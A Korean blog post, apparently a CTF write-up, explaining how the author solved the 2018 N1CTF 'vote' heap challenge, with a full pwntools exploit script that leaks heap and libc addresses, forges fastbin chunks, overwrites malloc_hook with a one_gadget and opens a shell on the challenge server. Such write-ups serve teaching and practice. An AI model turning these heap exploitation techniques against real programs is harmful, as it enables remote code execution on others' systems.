2018 N1CTF vote
이런 문제는 정말 처음봤다.
밑에 왼쪽 사진은 fastbin_dup을 하려고 사이즈가 50인 청크 2개를 할당하고 그 두개를 free했을 때의 힙 상황이다.
이제 다시 0을 free하면 원래는 정상적으로 free가 되어야 하는데 오른쪽 사진을 보면 병합이 된 걸 확인할 수 있다.
그래서 내가 직접 large 사이즈의 청크를 만들어서 다른 free된 청크들을 조작하여 문제를 풀어야겠다고 생각했다.
이 문제에서는 전역변수에 있는 청크포인터를 초기화하지 않기 때문에 가능했다.
4개를 할당하고 free를 하면서 heap과 함수 주소들을 전부 구한 다음에 전부 free시키면 large 사이즈의 청크를 만든다.
이 사진과 같이 나는 0x500을 할당하고 bbbbbbbb이라는 값을 넣어줬다. 보기용으로 bbbbbbbb를 넣었지만 이걸로 이제 다른 청크를 덮을 수 있게된다.
그렇게 0xbd7080 주소에 있었던 fastbin 청크를 값을 조작하여 일반 fastbin 청크처럼 만들었다.
그리고 free를 시키면 이 청크는 fastbin에 등록이 될 것이다.
이제 내가 원하는 함수의 주소 사이즈에 맞춰 구한다음에 0xbd7080 청크의 fd에 넣으면 된다.
원하는 함수 주소 사이즈는 맞췄다고 가정하고 이제 free된 청크의 fd에 값을 넣어야 되는데 이 문제에는 edit같은 기능이 없다.
그래서 아까 할당했던 0x500 사이즈인 청크를 free시켜서 small bin으로 다시 할당해서 값을 조작하기로 했다.
small bin의 사이즈는 대충 0xbd7080의 청크를 덮을 수 있을 만큼이면 된다.
그렇게 fd의 값을 조작한 후에 2번 할당하면 쉘이 따진다. ㅎ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | from pwn import* p = remote('47.97.190.1',6000) def create(size,name): p.sendlineafter("Action: ","0") p.sendlineafter("size: ",str(size)) p.sendlineafter("name: ",name) def show(idx): p.sendlineafter("Action: ","1") p.sendlineafter(": ",str(idx)) def vote(idx): p.sendlineafter("Action: ","2") p.sendlineafter(": ",str(idx)) def result(): p.sendlineafter("Action: ","3") def cancel(idx): p.sendlineafter("Action: ","4") p.sendlineafter(": ",str(idx)) create(80,"A"*4) create(80,"B"*4) create(256,"D"*4) create(256,"E"*4) cancel(0) cancel(1) show(1) p.recvuntil("count: ") heap = int(p.recv(8),10) print hex(heap) cancel(2) show(2) p.recvuntil("count: ") leak = int(p.recv(15),10) base = leak-0x3c4b78 one = base + 0xf1117 #0xf0274 0x4526a 0x45216 size = base+0x3c4af5-0x8 malloc_hook = base+0x3c4b10 print "Heap: " +hex(heap) print "Leak: " + hex(leak) print "Base: " + hex(base) print "one_shot: " + hex(one) print "Size: " + hex(size) print "malloc_hook: " + hex(malloc_hook) cancel(3) create(0x500,"E"*80+p64(0)+p64(0x71)+p64(0)) cancel(1) #fake_chunk free cancel(0) create(256,"E"*80+p64(0)+p64(0x71)+p64(size)) create(78,"A") #size+16(create)+16(header) create(78,"B"*3+p64(one)) p.sendlineafter("Action: ","0") p.sendlineafter("size: ","50") p.sendline("cat flag") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2016 Hitcon secret holder [Again] (0) | 2018.03.21 |
---|---|
2017 hitcon training zoo (0) | 2018.03.14 |
2014 Hack.lu CTF OREO (0) | 2018.03.06 |
TRUSTEALTH CTF sohard (0) | 2018.03.02 |
TRUSTEALTH CTF sysrop (0) | 2018.03.02 |